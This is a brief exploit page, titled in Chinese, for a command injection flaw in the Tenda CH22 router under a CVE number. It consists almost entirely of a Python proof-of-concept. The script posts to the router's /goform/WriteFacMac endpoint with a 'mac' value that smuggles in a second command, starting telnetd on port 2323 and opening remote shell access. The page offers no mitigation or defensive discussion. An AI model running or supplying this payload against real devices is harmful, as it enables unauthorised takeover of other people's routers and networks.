CVE-2026-5153 Tenda CH22命令注入漏洞

import requests # Target URL setup target_ip = "192.168.0.1" url = f"http://{target_ip}/goform/WriteFacMac" # Malicious payload injecting a command to start telnetd # The payload attempts to close the original argument and inject a new command payload_data = { "mac": "123456; telnetd -p 2323 &" } try: # Send the POST request to the vulnerable endpoint response = requests.post(url, data=payload_data, timeout=5) if response.status_code == 200: print("[+] Payload sent successfully.") print("[+] Check if telnet is running on port 2323.") else: print(f"[-] Request failed with status code: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[!] Error connecting to target: {e}")